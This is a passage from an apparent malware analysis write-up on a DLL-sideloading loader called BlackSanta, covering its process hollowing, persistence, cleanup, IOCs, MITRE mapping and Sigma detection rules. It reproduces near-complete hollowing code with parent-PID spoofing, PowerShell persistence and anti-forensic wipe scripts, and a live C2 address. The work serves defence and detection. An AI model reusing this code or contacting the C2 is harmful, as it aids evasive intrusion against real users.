Value Data:     C:\Users\<user>\Desktop\SumatraPDF\DWrite.dll (REG_SZ)

This enables the malware to:

  • Dynamically retrieve its own location during execution without hardcoded paths
  • Reduce hardcoded artifacts within the binary
  • Facilitate DLL re-loading across persistence mechanisms

7.4 Fake Error Dialog

Function: mw_show_fake_error_dialog (0x1800040F0)

Displays a fake Windows error dialog to the user:

"The application was unable to start correctly (0xc0000142).
 Click OK to close the application."

This makes the user believe the PDF application simply crashed, reducing suspicion while the malware operates in the background.


8. HVCI-Aware Attack Branching

One of the most notable findings is the malware’s HVCI awareness. HVCI (Hypervisor-enforced Code Integrity) prevents unsigned kernel drivers from loading — which directly impacts the BYOVD technique.

Figure 10: x64dbg disassembly of mw_check_hvci_enabled (0x18000BB10). Bypass patch at top. The full HVCI registry path is visible in string references: SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity at 0x1800665A00x1800665E0, with “Enabled” value name at 0x1800665F0.

x64dbg — HVCI check with registry path

Figure 10a: IDA Pro pseudocode of mw_check_hvci_enabled (0x18000BB10), showing the registry key path construction and RegQueryValueExA call to check the HVCI “Enabled” value.

IDA Pro — HVCI check pseudocode

Function: mw_check_hvci_enabled (0x18000BB10)

// Check if HVCI is enabled
HKEY hKey;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
    "SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\"
    "Scenarios\\HypervisorEnforcedCodeIntegrity",
    0, KEY_READ, &hKey);
DWORD enabled = 0;
DWORD size = sizeof(DWORD);
RegQueryValueExA(hKey, "Enabled", NULL, NULL, &enabled, &size);

Two Attack Paths

HVCI-Aware Attack Branching — two distinct paths

Note: These paths are only reached in the admin branch (when mw_check_admin_elevation_and_hosts() returns non-zero). Non-admin execution takes a simpler path via settings.aspxmw_process_hollow_with_random_sleep (Variant 2, no PPID spoofing) → exit. Confirmed via dynamic analysis: the non-admin path uses Variant 2 (0x180006C80), not Variant 1 (0x1800065F0). See Section 9.2 and Section 18.2.

Path A (HVCI OFF): The full attack chain. First calls mw_download_and_hollow_via_endpoint1 and mw_download_and_hollow_via_endpoint2 (endpoint names are in the encrypted string table — likely the BlackSanta EDR-killer). Then downloads three additional PE payloads from main.aspx, company.aspx, and contacts.aspx — each injected via process hollowing. Downloads a .zip archive from blog.aspx containing the BYOVD drivers, extracts and stages them. Downloads Module6 from about.aspx. Finally installs persistence via scheduled tasks with the "install" command and runs cleanup.

Path B (HVCI ON): Sends a mod4memint beacon (Module 4 memory inject — the string "mod4memint" is at 0x180068F98). Downloads Module6 from about.aspx. Installs persistence via PowerShell scheduled tasks. Requests a backup C2 address via getbackup for resilience. This path avoids kernel driver loading entirely since HVCI prevents unsigned drivers from loading.


9. Process Hollowing with PPID Spoofing

The malware implements two variants of process hollowing, both sophisticated:

9.1 Variant 1: Winlogon Child with PPID Spoofing

Figure 11: x64dbg disassembly of mw_process_hollow_into_winlogon_child (0x1800065F0). Shows GetModuleHandleA resolving ntdll.dll (string at 0x180066070) for dynamic API resolution of NtResumeThread and other NTAPI calls used to bypass user-mode hooks.

x64dbg — Process hollowing Variant 1 (PPID spoofing)

Figure 11a: IDA Pro pseudocode of mw_process_hollow_into_winlogon_child (0x1800065F0), showing SeDebugPrivilege elevation, winlogon PID enumeration, STARTUPINFOEXA setup with PPID spoofing and mitigation policy attributes.

IDA Pro — Process hollowing Variant 1 pseudocode

Function: mw_process_hollow_into_winlogon_child (0x1800065F0)

This variant uses an STARTUPINFOEXA structure (cb = 112) with lpAttributeList for two thread attributes: parent PID spoofing and child mitigation policy.

// Step 1: Enable SeDebugPrivilege
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid);
AdjustTokenPrivileges(hToken, FALSE, &tp, ...);

// Step 2: Find winlogon.exe PID
DWORD pids[1024];
K32EnumProcesses(pids, sizeof(pids), &needed);
for (int i = 0; i < needed/4; i++) {
    HANDLE hp = OpenProcess(MAXIMUM_ALLOWED, FALSE, pids[i]);
    K32GetModuleFileNameExA(hp, NULL, name, MAX_PATH);
    if (strstr(name, "winlogon.exe")) {
        winlogon_handle = hp;
        break;
    }
}

// Step 3: Create suspended process with STARTUPINFOEXA
STARTUPINFOEXA si = {0};
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);  // 112 bytes
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size);

// Attribute 1: Spoof parent to winlogon.exe
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // 0x20000
    &winlogon_handle, sizeof(HANDLE), ...);

// Attribute 2: Block non-Microsoft DLL injection (prevents EDR hooks)
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,  // 0x20007
    &policy, sizeof(policy), ...);

CreateProcessA(NULL, cmdline, ...,
    EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,  // 0x80004
    ..., &si.StartupInfo, &pi);

// Step 4: Classic PE hollowing
GetThreadContext(pi.hThread, &ctx);
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &imageBase, 8, NULL);
VirtualFreeEx(pi.hProcess, imageBase, 0, MEM_RELEASE);
VirtualAllocEx(pi.hProcess, preferredBase, imageSize,
               MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);

// Write PE headers
WriteProcessMemory(pi.hProcess, preferredBase, payload, sizeOfHeaders, NULL);

// Write sections with proper protection flags
for (int i = 0; i < numSections; i++) {
    WriteProcessMemory(pi.hProcess,
        preferredBase + section[i].VirtualAddress,
        payload + section[i].PointerToRawData,
        section[i].SizeOfRawData, NULL);
    if (section[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
        VirtualProtectEx(pi.hProcess, ..., PAGE_EXECUTE_READ, &old);
}

// Patch PEB ImageBaseAddress
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &preferredBase, 8, NULL);

// Set entry point and resume
ctx.Rcx = preferredBase + pe->AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);

// Resume via NTAPI (avoids user-mode hooks on ResumeThread)
NtResumeThread(pi.hThread, NULL);

Key evasion features:

  • PPID spoofing: The hollowed process appears as a legitimate child of winlogon.exe in process trees
  • Mitigation policy: PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON (0x1000000000) prevents EDR agents from injecting monitoring DLLs into the hollowed process
  • NTAPI resume: Uses NtResumeThread instead of ResumeThread to bypass user-mode API hooks
  • STARTUPINFOEXA struct with lpAttributeList — proper extended startup info usage with 2 attributes

9.2 Variant 2: Dynamic Resolution with Behavioral Evasion

Figure 12: x64dbg disassembly of mw_process_hollow_with_random_sleep (0x180006C80). Shows the dynamic API resolution pattern — GetModuleHandleA for ntdll.dll at 0x180066070, followed by GetProcAddress calls to resolve NtTerminateProcess, CreateProcessA, VirtualAllocEx, etc. at runtime. This variant is used on the non-admin code path (confirmed via dynamic analysis).

x64dbg — Process hollowing Variant 2 (dynamic API resolution)

Figure 12a: IDA Pro pseudocode of mw_process_hollow_with_random_sleep (0x180006C80), showing dynamic API resolution via GetProcAddress and Mersenne Twister-based random sleep delays between hollowing steps.

IDA Pro — Process hollowing Variant 2 pseudocode

Function: mw_process_hollow_with_random_sleep (0x180006C80)

Confirmed via dynamic analysis (x64dbg, 2026-03-13): This is the variant used on the non-admin path. When mw_check_admin_elevation_and_hosts() returns 0, the orchestrator downloads the PE payload from settings.aspx and passes it to this function — NOT to mw_process_hollow_into_winlogon_child (Variant 1). Variant 1 is only used by the admin-path download endpoints (download.aspx/download1.aspx).

Arguments (confirmed at breakpoint):

  • RCXmsvc_string* containing the PE payload (459,776 bytes with valid MZ header — blacksanta_edr_killer.bin)
  • RDXmsvc_string* containing the command line: " 157.250.202.215" (C2 IP passed to the hollowed process)

This variant differs from Variant 1:

  • No PPID spoofing — uses standard CreateProcessA with CREATE_SUSPENDED flag (no STARTUPINFOEXA, no lpAttributeList)
  • No winlogon child — creates a suspended copy of the current module’s path (via GetModuleFileNameA)
  • All WinAPI resolved dynamically via GetModuleHandleA/GetProcAddress strings — NtTerminateProcess, NtClose, CreateProcessA, VirtualAlloc, VirtualFree, VirtualAllocEx, VirtualFreeEx, WriteProcessMemory, ReadProcessMemory, VirtualProtectEx, GetThreadContext, SetThreadContext, ResumeThread
  • Random sleep delays between each PE hollowing step using Mersenne Twister PRNG — defeats behavioral sandboxes that look for rapid sequences of suspicious API calls
  • NtResumeThread via ntdll — same NTAPI evasion as Variant 1

The non-admin path’s use of Variant 2 makes sense: without admin privileges, the malware cannot open a handle to winlogon.exe (required for PPID spoofing in Variant 1), so it falls back to this simpler but still evasive hollowing approach


10. Stage2 Payload Delivery and EDR-Killer Indicators

Note: This section documents what the DWrite.dll loader reveals about the stage2 payload through its decrypted strings, C2 endpoints, and delivery mechanisms. Detailed analysis of the BlackSanta EDR-killer binary and BYOVD drivers will be covered in Part 2.

10.1 Payload Delivery Mechanisms

The loader downloads and injects the stage2 payload via process hollowing. Two delivery paths exist depending on privilege level:

Path Endpoint Hollowing Variant Confirmed
Non-admin GET /settings.aspx Variant 2 (mw_process_hollow_with_random_sleep) Yes — dynamically validated
Admin (HVCI OFF) download.aspx, download1.aspx (encrypted endpoint names) Variant 1 (mw_process_hollow_into_winlogon_child) Static analysis only

On the admin path, the loader additionally downloads:

  • Three PE payloads from main.aspx, company.aspx, contacts.aspx — each injected via separate process hollowing calls
  • A .zip archive from blog.aspx — extracted to disk (contains BYOVD drivers based on staging paths in decrypted strings)
  • Module6 from about.aspx — saved to disk

10.2 Driver and Device Path References (from Decrypted Strings)

The DWrite.dll encrypted string table contains references to kernel driver device paths and staging locations, indicating the stage2 payload interacts with vulnerable drivers:

\\.\EchoDrv                                  // Kernel device path
\\.\TrueSight                                // Kernel device path
\\.\IOBitUnlockerDevice                      // Kernel device path
C:\Windows\System32\Drivers\wedgetec.sys     // Driver staging path
C:\Windows\System32\Drivers\devdiagm.sys     // Driver staging path
SYSTEM\CurrentControlSet\Devices             // Driver registry path

These strings are decrypted at runtime by the loader and likely passed to the stage2 payload. The device names correspond to known vulnerable drivers used in BYOVD attacks.

10.3 EDR/AV Process Name References (from Decrypted Strings)

The loader’s encrypted string table also contains security product process names. Within DWrite.dll, these are used by mw_check_analysis_tool_running (0x180015FD0) and mw_enumerate_processes_match_edr_targets (0x18000BF60) for anti-analysis checks. The same names are likely shared with the stage2 EDR-killer for process termination:

splunk           srtsp            servicehost.exe    mcshield.exe
mcupdatemgr.exe  acshm.exe        modulecoreservice.exe
pefservice.exe   mcawfwk.exe      mfemms.exe        mfevtps.exe
mccspservicehost.exe              launch.exe        delegate.exe
mcdreg.exe       mcpvtray.exe     mcinstructtrack.exe
mcuicnt.exe      protectedmodulehost.exe
mmsshost.exe     mfeavsvc.exe     symantec          symorpu
symefasi         sysinternal      sysmon            temnium
tda.exe          tdawork          tpython           mcapexe.exe
vectra

10.4 Loader’s View of the Full Attack Chain

Based on the loader’s C2 endpoints, decrypted strings, and code paths, the intended attack sequence is:

Stage2 Payload Delivery Chain


11. Persistence Mechanisms

The malware employs multiple persistence and staging mechanisms:

11.1 Scheduled Task Persistence

Function: mw_install_persistence_scheduled_task (0x18001E930)

The malware creates scheduled tasks that masquerade as Windows Memory Diagnostics:

# Main persistence task - runs as ADMINISTRATORS group with highest privileges
$trigger = New-ScheduledTaskTrigger -AtLogOn
$trigger.RepetitionInterval = New-TimeSpan -Minutes 2
$trigger.MultipleInstances = "Parallel"
$principal = New-ScheduledTaskPrincipal -GroupID "S-1-5-32-544" -RunLevel Highest
$action = New-ScheduledTaskAction -Execute 'C:\path\wrm_<name>.exe' -Argument '<args>'
$settings = -Priority 0 -Hidden -RestartCount 3 `
    -RestartInterval (New-TimeSpan -Minutes 1) `
    -AllowStartIfOnBatteries -StartWhenAvailable

Register-ScheduledTask "Microsoft\Windows\MemoryDiagnostic\DefaultWindowsMemory" `
    -Trigger $trigger -Principal $principal -Action $action -Settings $settings

Task Names

Task Path Interval Purpose
...\MemoryDiagnostic\DefaultWindowsMemory Every 2 min Main persistence — re-executes payload
...\MemoryDiagnostic\EveryDayMemoryDiagnosticUpdate T+60s Self-delete original dropper
...\MemoryDiagnostic\EveryDayMemoryDiagnostic T+90s Unregisters EveryDayMemoryDiagnostic cleanup
...\MemoryDiagnostic\RunEveryDayMemoryCheck T+600s Unregister cleanup tasks
...\MemoryDiagnostic\RunEveryDayMemoryCheckUpdate Additional cleanup task
...\MemoryDiagnostic\RunEveryDayMemoryDiagnostics T+900s Module6 secure wipe + self-unregister

11.2 Registry Run Key (Execution Tracking)

Function: mw_set_run_key_persistence (0x180005C60)

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MyAppStatus = 1 (REG_DWORD)

This is an execution-state marker, not autorun persistence. The REG_DWORD value type is not executed by the Windows logon autostart mechanism (only REG_SZ paths are runnable). The marker prevents redundant re-infection on the same system. The function dynamically resolves advapi32.dll APIs (RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegCloseKey) at runtime to avoid IAT-based detection. Wide-character registry path and value name are stored as DWORD arrays on the stack, decoded at runtime.

11.3 DPATH Environment Variable

Function: mw_store_dll_path_in_registry (0x180003190)

HKCU\Environment\DPATH = C:\Users\<user>\Desktop\SumatraPDF\DWrite.dll (REG_SZ)

Stores the DLL path for dynamic retrieval, reducing hardcoded artifacts.

11.4 Local Admin-Share Staging

The malware copies itself with a wrm_ prefix and uses PowerShell to stage via the local admin share:

copy-item 'C:\path\wrm_payload.exe' -Destination '\\localhost\C$\path' -Force

The destination is \\localhost\ — the local machine’s admin share. No remote host selection, propagation loops, or network spread logic was found in the analyzed code paths. This appears to be a local staging mechanism (possibly to bypass file-system monitoring or copy to a path requiring admin privileges), not lateral movement. The wrm_ prefix may indicate the author intended worm-like propagation in a different module or variant.

11.5 Persistence INI File

Function: mw_create_persistence_ini_file (0x180005950)

Creates a timestamp-based INI file in %AppData% to track installation state and timing.


12. Self-Cleanup Chain

The malware implements a sophisticated multi-stage cleanup mechanism to cover its tracks:

T+0s:     Payload executes
T+60s:    Delete original dropper file
T+90s:    Unregister cleanup scheduled tasks
T+600s:   Secure-delete Module6 (zero overwrite + delete)
T+900s:   Unregister all remaining tasks + final self-cleanup

Module6 Secure Deletion:

# Zero-overwrite before deletion (forensic countermeasure)
$zeros = New-Object byte[] (Get-Item $module6).Length
[System.IO.File]::WriteAllBytes($module6, $zeros)
Remove-Item $module6 -Force

This overwrites the file content with zeros before deletion, preventing forensic recovery of the module contents. This is particularly significant because Module6 is the HVCI-path payload — the threat actor specifically wants this module to be unrecoverable.

Self-Delete via CMD:

Function: mw_self_delete_via_cmd (0x18001F7F0)

Uses cmd.exe with delayed deletion to remove the running binary after execution completes.


13. Function Reference Table

Address Name Category Description
0x180021310 mw_DWriteCreateFactory_entry Entry Hijacked export, hides window, dispatches
0x18001FA00 mw_main_orchestrator Core Main logic — C2 init, anti-analysis, deployment
0x1800041E0 mw_build_encrypted_strings_table Core Decrypts/builds 173+ runtime string table
0x1800098D0 mw_c2_beacon_with_sysinfo C2 Collects OS info, sends action=ping
0x18000A500 mw_c2_http_request C2 Builds HTTP request, parses <pre> response
0x1800094E0 mw_c2_send_encrypted_report C2 Sends encrypted status reports
0x18000AC90 mw_c2_get_backup_config C2 Retrieves backup C2 address
0x1800078C0 mw_build_encrypted_c2_payload C2 Constructs encrypted payloads
0x1800082B0 mw_wininet_http_post C2 WinInet HTTP POST with UA rotation
0x1800034D0 mw_aes256_cbc_decrypt Crypto AES-256-CBC via WinCrypt
0x180002FE0 mw_hex_string_to_bytes Crypto Hex string → byte array
0x18001B340 mw_anti_sandbox_check_hostname_username Anti-Analysis 71+ hostnames, 39+ usernames
0x18001A1C0 mw_anti_analysis_check_russian_locale Anti-Analysis CIS locale safeguard
0x1800194A0 mw_anti_analysis_check_disk_artifacts Anti-Analysis Analysis tool files on disk
0x180016270 mw_anti_analysis_check_environment Anti-Analysis Environment variables/properties
0x180014060 mw_anti_analysis_check_vm_artifacts Anti-Analysis VM artifact detection
0x180011030 mw_anti_analysis_check_desktop_file_count Anti-Analysis Desktop file count < 5
0x18000F310 mw_anti_debug_gate_with_edr_check Anti-Analysis Debugger + EDR enumeration
0x180015FD0 mw_check_analysis_tool_running Anti-Analysis Running analysis tool detection
0x180017790 mw_detect_vm_via_smbios_firmware Anti-VM SMBIOS Type 1 parsing
0x180012600 mw_detect_vm_via_display_adapter Anti-VM Virtual GPU detection
0x180011CE0 mw_check_physical_memory_gb Anti-VM RAM size check
0x180003C30 mw_check_file_attributes_vm Anti-VM VM file artifact checks
0x18000BEB0 mw_get_peb Anti-Debug Direct PEB access
0x18000BEE0 mw_check_debugger_via_ntquery_peb Anti-Debug NtQueryInformationProcess
0x18000BF60 mw_enumerate_processes_match_edr_targets EDR Kill Process enum vs encrypted list
0x180015CC0 mw_check_process_running_by_encrypted_name EDR Kill Single process check
0x180005C60 mw_set_run_key_persistence Execution Tracking HKCU Run key (MyAppStatus = REG_DWORD 1, not autorun)
0x18000BD30 mw_disable_defender_spynet_reporting Defense Evasion Registry: SpyNet settings
0x18000BB10 mw_check_hvci_enabled Defense Evasion HVCI status for attack path
0x1800065F0 mw_process_hollow_into_winlogon_child Injection PE hollowing + PPID spoof
0x180006C80 mw_process_hollow_with_random_sleep Injection PE hollowing + behavioral evasion
0x18000B630 mw_download_and_hollow_via_endpoint1 Payload Download PE + process hollow (encrypted endpoint)
0x18000B8A0 mw_download_and_hollow_via_endpoint2 Payload Download PE + process hollow (encrypted endpoint)
0x18000AB40 mw_download_and_save_payload Payload Write payload to disk
0x18001E930 mw_install_persistence_scheduled_task Persistence PowerShell scheduled tasks
0x18001C780 mw_create_suspended_powershell Persistence Suspended PowerShell creation
0x18001EE90 mw_create_process_for_powershell Persistence CreateProcess for PS execution
0x180003190 mw_store_dll_path_in_registry Persistence HKCU DPATH environment variable
0x180005950 mw_create_persistence_ini_file Persistence Timestamp INI in %AppData%
0x18001F4D0 mw_execute_powershell_cleanup Cleanup Task unregistration
0x18001F7F0 mw_self_delete_via_cmd Cleanup cmd.exe self-deletion
0x180006350 mw_check_admin_elevation_and_hosts Recon Token elevation + hosts fingerprint
0x18001B1B0 mw_build_os_fingerprint_string Recon Registry-based OS fingerprint
0x18001B240 mw_query_registry_os_version Recon Registry queries for version
0x180005ED0 mw_create_decoy_files_in_appdata Evasion Creates report.txt, data.csv, backup.bin
0x1800040F0 mw_show_fake_error_dialog Evasion Fake “0xc0000142” error MessageBox
0x180003860 mw_enum_windows_find_host_window Evasion Find host process window handle
0x180003E40 mw_write_log_file Logging Debug/status log output
0x180002B50 mw_msvc_string_init_empty Utility Initialize empty msvc_string
0x180002B70 mw_msvc_string_init_from_cstr Utility Initialize msvc_string from C string
0x1800039C0 mw_get_temp_path Utility GetTempPathA with fallback
0x1800057E0 mw_string_replace_all Utility Search-and-replace all in string
0x18002E3D0 mw_heap_free Utility CRT heap free wrapper
0x18002EEE8 mw_heap_alloc Utility CRT heap alloc wrapper
0x180053080 mw_memcpy Utility CRT memcpy wrapper
0x180053720 mw_memset Utility CRT memset wrapper
0x180024A40 mw_string_to_byte_buffer Utility String → byte vector conversion
0x1800307B8 mw_string_compare_icase Utility Case-insensitive string compare

IDA Struct Improvements

msvc_string (applied to 14+ function prototypes, 260+ locals across 4 functions)

The malware is compiled with MSVC and uses std::string extensively. The decompiler renders these as unreadable __m128i accesses without a proper struct:

struct msvc_string {
    union {
        char inline_buf[16];    // SSO: string data stored inline when len <= 15
        char *heap_ptr;         // heap-allocated buffer when len > 15
    };
    unsigned __int64 length;    // current string length
    unsigned __int64 capacity;  // allocated capacity (<=15 means SSO active)
};

This transforms unreadable patterns like pe_payload[1].m128i_i64[1] <= 0xFuLL into clear pe_payload->capacity <= 0xF (SSO check).

PLAINTEXTKEYBLOB (applied to g_aes_key_blob at 0x180077BB8)

44-byte Windows crypto structure for AES key import (see Section 4.2).

_STARTUPINFOEXA (applied in mw_process_hollow_into_winlogon_child)

112-byte extended startup info with lpAttributeList for PPID spoofing and mitigation policy (see Section 9.1).

Additional Structs

Struct Applied To Purpose
PROCESS_BASIC_INFORMATION mw_check_debugger_via_ntquery_peb NtQueryInformationProcess anti-debug
RAW_SMBIOS_DATA VM detection GetSystemFirmwareTable return buffer
SMBIOS_HEADER VM detection SMBIOS entry header parsing
SMBIOS_TYPE1_SYSTEM_INFO mw_detect_vm_via_smbios_firmware System manufacturer/product VM check

14. Indicators of Compromise

File Hashes

SHA256 Type Description
d3d4b8bd76a26448426c89e6e401cff2
cd9350c09aad52cc33d4ca3866bea918
DLL DWrite.dll — BlackSanta loader (this analysis)

Network-Based

Indicator Type Description
157.250.202.215 IP Primary C2 server — constructed at runtime from inline QWORD 0x2E3035322E373531 (“157.250.”) + string “202.215” at 0x180068ED8
*/login.aspx URI Initial beacon + AES key delivery — confirmed via dynamic analysis (decrypted at runtime)
*/settings.aspx URI Non-admin path: PE payload delivery — confirmed via dynamic analysis
*/main.aspx URI HVCI OFF: primary PE payload (plaintext in .rdata at 0x180068EF8)
*/company.aspx URI HVCI OFF: secondary PE payload (plaintext in .rdata at 0x180068F08)
*/contacts.aspx URI HVCI OFF: tertiary PE payload (plaintext in .rdata at 0x180068F18)
*/blog.aspx URI HVCI OFF: BYOVD driver archive .zip (plaintext in .rdata at 0x180068F30)
*/about.aspx URI Both paths: Module6 delivery (plaintext in .rdata at 0x180068F50)
action=ping&mod= Query Beacon protocol
action=log&data= Query Anti-analysis telemetry reporting
action=getbackup Query Backup C2 request
dbseckey= Query Encryption key exchange
Bearer: in Accept-Language Header Auth token (anomalous placement)

Host-Based

Indicator Type Description
Microsoft\Windows\MemoryDiagnostic\DefaultWindowsMemory Scheduled Task Main persistence
Microsoft\Windows\MemoryDiagnostic\EveryDayMemoryDiagnostic* Scheduled Task Cleanup tasks
Microsoft\Windows\MemoryDiagnostic\RunEveryDayMemory* Scheduled Task Cleanup tasks
Microsoft\Windows\MemoryDiagnostic\RunEveryDayMemoryCheckUpdate Scheduled Task Additional cleanup
HKCU\...\Run\MyAppStatus Registry (REG_DWORD=1) Execution-state marker (not autorun)
HKCU\Environment\DPATH Registry (REG_SZ) DLL path storage
Software\Policies\Microsoft\Windows Defender\SpyNet\SpynetReporting Registry Cloud protection disabled
Software\Policies\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent Registry Sample submission disabled
Software\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications Registry Alert suppression
Process under winlogon.exe with blocked non-MS DLLs Behavior PPID-spoofed hollowed process (admin path, Variant 1)
wrm_*.exe Filename Locally staged payload copies (via \\localhost\ admin share)
DWrite2.dll Filename Proxy to real DWrite.dll
myapp_firstlaunch.tmp Filename First-launch check file
taskManagerHook.dll Filename Task Manager hiding DLL
C:\Windows\System32\Drivers\wedgetec.sys File path Driver staging
C:\Windows\System32\Drivers\devdiagm.sys File path Driver staging

Embedded Strings

String Address Significance
DDS-WS 0x180067674 Campaign/variant identifier
mod4memint 0x180068F98 Module 4 memory inject marker (HVCI ON beacon)
The application was unable to start correctly (0xc0000142) 0x180065AC0 Fake error dialog
Sumatra 0x180065A60 DLL sideloading host identifier

15. MITRE ATT&CK Mapping

Technique ID Technique Name Evidence
T1059.001 Command and Scripting Interpreter: PowerShell Defender exclusions, scheduled task creation, cleanup scripts
T1574.002 Hijack Execution Flow: DLL Side-Loading Malicious DWrite.dll sideloaded by Sumatra PDF
T1055.012 Process Injection: Process Hollowing Variant 1: mw_process_hollow_into_winlogon_child (0x1800065F0, admin path); Variant 2: mw_process_hollow_with_random_sleep (0x180006C80, non-admin path — confirmed via dynamic analysis)
T1134.004 Access Token Manipulation: Parent PID Spoofing PROC_THREAD_ATTRIBUTE_PARENT_PROCESS → winlogon.exe
T1027 Obfuscated Files or Information AES-256-CBC encrypted strings with C2-delivered key
T1140 Deobfuscate/Decode Files or Information mw_aes256_cbc_decrypt (0x1800034D0) runtime decryption
T1562.001 Impair Defenses: Disable or Modify Tools Disables Defender SpyNet, notification suppression, PowerShell exclusions
T1211 Exploitation for Defense Evasion (BYOVD) Loader downloads driver archive via blog.aspx; device paths in decrypted strings (\\.\EchoDrv, \\.\IOBitUnlockerDevice) — stage2 analysis in Part 2
T1489 Service Stop EDR/AV process names in loader’s encrypted string table; loader enumerates running processes against this list (mw_enumerate_processes_match_edr_targets)
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys HKCU\...\Run\MyAppStatus (REG_DWORD marker — execution tracking, not autorun)
T1053.005 Scheduled Task/Job: Scheduled Task Persistence via MemoryDiagnostic tasks
T1546.013 Event Triggered Execution: Environment Variables DPATH environment variable for DLL path persistence
T1036.005 Masquerading: Match Legitimate Name Tasks named as Windows Memory Diagnostics
T1497.001 Virtualization/Sandbox Evasion: System Checks SMBIOS, display adapter, RAM, desktop file count
T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion Mersenne Twister random delays in PE hollowing
T1622 Debugger Evasion IsDebuggerPresent, CheckRemoteDebuggerPresent, NtQueryInformationProcess
T1082 System Information Discovery OS fingerprint via registry + GetSystemFirmwareTable
T1033 System Owner/User Discovery USERNAME and COMPUTERNAME collection
T1057 Process Discovery CreateToolhelp32Snapshot + K32EnumProcesses
T1012 Query Registry OS version, HVCI status, Defender settings, driver blocklist
T1614.001 System Location Discovery: System Language Discovery Russian locale check → exit
T1106 Native API NtResumeThread, NtQueryInformationProcess, NtClose, NtTerminateProcess
T1071.001 Application Layer Protocol: Web Protocols HTTPS C2 on port 443 with .aspx endpoints
T1132.001 Data Encoding: Standard Encoding Base64-encoded OS fingerprint in beacon
T1573 Encrypted Channel AES-256-CBC encrypted C2 communications
T1132 Data Encoding Hex-encoded AES ciphertext in HTTP params
T1070.004 Indicator Removal: File Deletion Self-delete via cmd.exe, zero-overwrite Module6
T1480 Execution Guardrails CIS locale check, sandbox hostname/username blacklists
T1055 Process Injection Dynamic API resolution for hollowing (Variant 2)
T1014 Rootkit taskManagerHook.dll for process hiding
T1570 Lateral Tool Transfer wrm_ prefix + copy to \\localhost\ admin share (local staging only — no remote host logic confirmed)

16. Detection Opportunities

16.1 Sigma Rules

Scheduled Task Masquerading:

title: BlackSanta Scheduled Task Persistence
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'MemoryDiagnostic\DefaultWindowsMemory'
            - 'MemoryDiagnostic\EveryDayMemory'
            - 'MemoryDiagnostic\RunEveryDayMemory'
            - 'MemoryDiagnostic\RunEveryDayMemoryCheckUpdate'
    condition: selection
level: critical

PPID Spoofing Detection:

title: Process Running Under Winlogon with Non-Microsoft DLL Block
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\winlogon.exe'
    filter:
        Image|endswith:
            - '\userinit.exe'
            - '\dwm.exe'
            - '\fontdrvhost.exe'
            - '\LogonUI.exe'
    condition: selection and not filter
level: high

Defender Tampering:

title: Windows Defender SpyNet Disabled via Registry
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: 'Windows Defender\SpyNet'
        Details|contains:
            - 'DWORD (0x00000000)'  # SpynetReporting = 0
            - 'DWORD (0x00000002)'  # SubmitSamplesConsent = 2
    condition: selection
level: critical

DLL Sideloading:

title: DWrite.dll Loaded from Non-System Directory
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\DWrite.dll'
    filter:
        ImageLoaded|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Windows\SysWOW64\'
            - 'C:\Windows\WinSxS\'
    condition: selection and not filter
level: high

BYOVD Driver Loading:

title: Suspicious Vulnerable Driver Installation
logsource:
    category: driver_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith:
            - '\wedgetec.sys'
            - '\devdiagm.sys'
    condition: selection
level: critical

16.2 Network Detection

  • HTTPS POST requests to .aspx endpoints on port 443 with action=ping&mod= or action=log&data= in body
  • Bearer: token embedded inside Accept-Language header (highly anomalous)
  • dbseckey= parameter in HTTP POST body
  • Initial beacon response: plain text KEY_HEX|IV_HEX (97 bytes, Content-Type: text/plain; charset=windows-1251)
  • Payload responses: base64-encoded PE binaries wrapped in <pre id="pre"> tags within HTML (text/html; charset=windows-1251)
  • Server headers: nginx/1.24.0 (Ubuntu) with X-AspNet-Version: 4.0.30319 (unusual combination)

16.3 Behavioral Detection

  1. DLL sideloading: DWrite.dll loaded from a non-System32 directory
  2. Window hiding: ShowWindow(SW_HIDE) on the parent application window immediately after DLL load
  3. PPID spoofing: Non-standard child processes under winlogon.exe
  4. Process hollowing sequence: CreateProcess(SUSPENDED)VirtualAllocExWriteProcessMemorySetThreadContextNtResumeThread
  5. Multiple scheduled tasks created under Microsoft\Windows\MemoryDiagnostic\ in rapid succession
  6. Defender exclusion via PowerShell: Set-MpPreference -ExclusionExtension *.dls, *.sys
  7. Security process enumeration: CreateToolhelp32Snapshot + process name matching against EDR/AV blacklist
  8. Registry modification: MyAppStatus REG_DWORD marker under Run key + DPATH environment variable created in sequence

17. C2 Simulator

A Python-based C2 simulator was developed for dynamic analysis. It implements the full C2 protocol confirmed through combined static and dynamic analysis, including process hollowing payload delivery validated end-to-end.

# HTTPS listener with real AES key (requires cert/key for self-signed HTTPS)
python3 blacksanta_c2_simulator.py --port 443 --host <LISTEN_IP> \
